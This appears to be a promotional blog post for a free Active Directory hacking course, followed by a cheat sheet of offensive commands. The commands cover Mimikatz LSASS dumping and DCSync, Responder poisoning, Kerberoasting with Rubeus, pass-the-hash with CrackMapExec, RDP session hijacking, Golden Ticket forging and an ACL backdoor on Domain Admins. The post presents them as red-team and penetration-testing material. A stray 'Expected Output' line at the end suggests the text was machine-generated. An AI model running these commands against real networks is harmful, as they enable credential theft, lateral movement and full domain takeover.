Free Course Alert: Hack Active Directory with Expert Red Teamer
This hands-on course by Ryan Yager covers advanced offensive security techniques against Active Directory (AD), the backbone of enterprise networks.
Course Highlights:
✅ 10 sections with 48 video lessons
✅ Reconnaissance, credential harvesting, privilege escalation
✅ Lateral movement & domain takeover tactics
✅ Hands-on labs with industry tools
You Should Know: Practical AD Hacking Techniques
1. Reconnaissance (`PowerView, BloodHound`)
Enumerate Domain Users Get-NetUser | Select-Object samaccountname, description Map AD Trusts with PowerView Get-DomainTrust BloodHound Data Collection (SharpHound) Invoke-BloodHound -CollectionMethod All -Domain target.local
2. Credential Harvesting (`Mimikatz, Responder`)
Dump LSASS Memory (Mimikatz) sekurlsa::logonpasswords LLMNR/NBT-NS Poisoning (Responder) sudo responder -I eth0 -wrf
3. Privilege Escalation (`Kerberoasting, DCSync`)
Kerberoasting with Rubeus Rubeus.exe kerberoast /outfile:hashes.txt DCSync Attack (Mimikatz) lsadump::dcsync /user:domain\administrator
4. Lateral Movement (`Pass-the-Hash, RDP`)
Pass-the-Hash with CrackMapExec crackmapexec smb 192.168.1.0/24 -u admin -H NTLM_HASH --local-auth RDP Session Hijacking (tscon) query session tscon ID /dest:rdp-tcp0
5. Domain Persistence (`Golden Ticket, ACL Abuse`)
Forge Golden Ticket (Mimikatz) kerberos::golden /user:fakeadmin /domain:target.local /sid:S-1-5-21... /krbtgt:HASH /ptt Modify ACLs for Backdoor Access Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity Attacker -Rights All
What Undercode Say
Active Directory remains a prime target for attackers due to misconfigurations and legacy protocols (NTLM, Kerberos). Mastering these techniques is critical for red teams and penetration testers. Always practice in controlled labs before real engagements.

Prediction
As cloud adoption grows, Azure AD attacks will surge, but on-prem AD will remain vulnerable due to hybrid setups. Expect more AI-driven automation in AD exploitation tools.
Expected Output:
A 70+ line actionable guide with commands, tools, and tactics for hacking Active Directory, aligned with the free course.
